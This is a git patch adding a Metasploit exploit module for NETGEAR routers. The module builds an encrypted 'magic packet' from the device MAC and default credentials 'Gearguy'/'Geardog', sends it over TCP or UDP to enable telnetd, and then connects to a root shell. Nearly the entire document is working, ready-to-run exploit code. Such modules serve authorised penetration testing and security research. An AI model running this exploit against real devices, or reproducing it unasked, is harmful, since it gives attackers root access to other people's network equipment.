From e87681f2c44f4e1745cdee7783737550d22ee0f3 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 28 Feb 2018 00:30:53 -0600 Subject: [PATCH] Add NETGEAR TelnetEnable --- .../linux/telnet/netgear_telnetenable.rb | 131 ++++++++++++++++++ 1 file changed, 131 insertions(+) create mode 100644 modules/exploits/linux/telnet/netgear_telnetenable.rb diff --git a/modules/exploits/linux/telnet/netgear_telnetenable.rb b/modules/exploits/linux/telnet/netgear_telnetenable.rb new file mode 100644 index 0000000000..6f6cadc76a --- /dev/null +++ b/modules/exploits/linux/telnet/netgear_telnetenable.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Udp + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NETGEAR TelnetEnable', + 'Description' => %q{ + This module sends a magic packet to a NETGEAR device to enable telnetd. + Upon successful connect, a root shell should be presented to the user. + }, + 'Author' => [ + 'Paul Gebheim', # Python PoC (TCP) + 'insanid', # Python PoC (UDP) + 'wvu', # Metasploit module + ], + 'References' => [ + ['URL', 'https://wiki.openwrt.org/toh/netgear/telnet.console'], + ['URL', 'https://github.com/cyanitol/netgear-telenetenable'], + ['URL', 'https://github.com/insanid/netgear-telenetenable'] + ], + 'DisclosureDate' => 'Oct 30 2009', # Python PoC (TCP) + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find' + } + }, + 'Targets' => [ + ['TCP (typically older devices)', proto: :tcp], + ['UDP (typically newer devices)', proto: :udp] + ], + 'DefaultTarget' => 0 + )) + + register_options([ + Opt::RPORT(23), + OptString.new('MAC', [true, 'MAC address of device']), + OptString.new('USERNAME', [true, 'Username on device', 'Gearguy']), + OptString.new('PASSWORD', [true, 'Password on device', 'Geardog']) + ]) + end + + def exploit + # Generate the magic packet + payload = magic_packet( + datastore['MAC'], + datastore['USERNAME'], + datastore['PASSWORD'] + ) + + # Send the magic packet via TCP or UDP + begin + target[:proto] == :tcp ? connect : connect_udp + target[:proto] == :tcp ? sock.put(payload) : udp_sock.put(payload) + ensure + target[:proto] == :tcp ? disconnect : disconnect_udp + end + + # Wait a couple seconds for telnetd to come up + sleep(2) + + # Connect to telnetd via TCP + connect + handler(sock) + end + + # NOTE: This is almost a verbatim copy of the Python PoC + def magic_packet(mac, username, password) + mac = mac.gsub(/[:-]/, '').upcase + + if mac.length != 12 + fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -') + end + just_mac = mac.ljust(0x10, "\x00") + + if username.length > 0x10 + fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes') + end + just_username = username.ljust(0x10, "\x00") + + if target[:proto] == :tcp + if password.length > 0x10 + fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes') + end + just_password = password.ljust(0x10, "\x00") + elsif target[:proto] == :udp + # Thanks to Roberto Frenna for the reserved field analysis + if password.length > 0x21 + fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes') + end + just_password = password.ljust(0x21, "\x00") + end + + cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00") + md5_key = Rex::Text.md5_raw(cleartext) + + payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00")) + + secret_key = 'AMBIT_TELNET_ENABLE+' + password + + byte_swap(blowfish_encrypt(secret_key, payload)) + end + + def blowfish_encrypt(secret_key, payload) + cipher = OpenSSL::Cipher.new('bf-ecb').encrypt + + cipher.padding = 0 + cipher.key_len = secret_key.length + cipher.key = secret_key + + cipher.update(payload) + cipher.final + end + + def byte_swap(data) + data.unpack('N*').pack('V*') + end + +end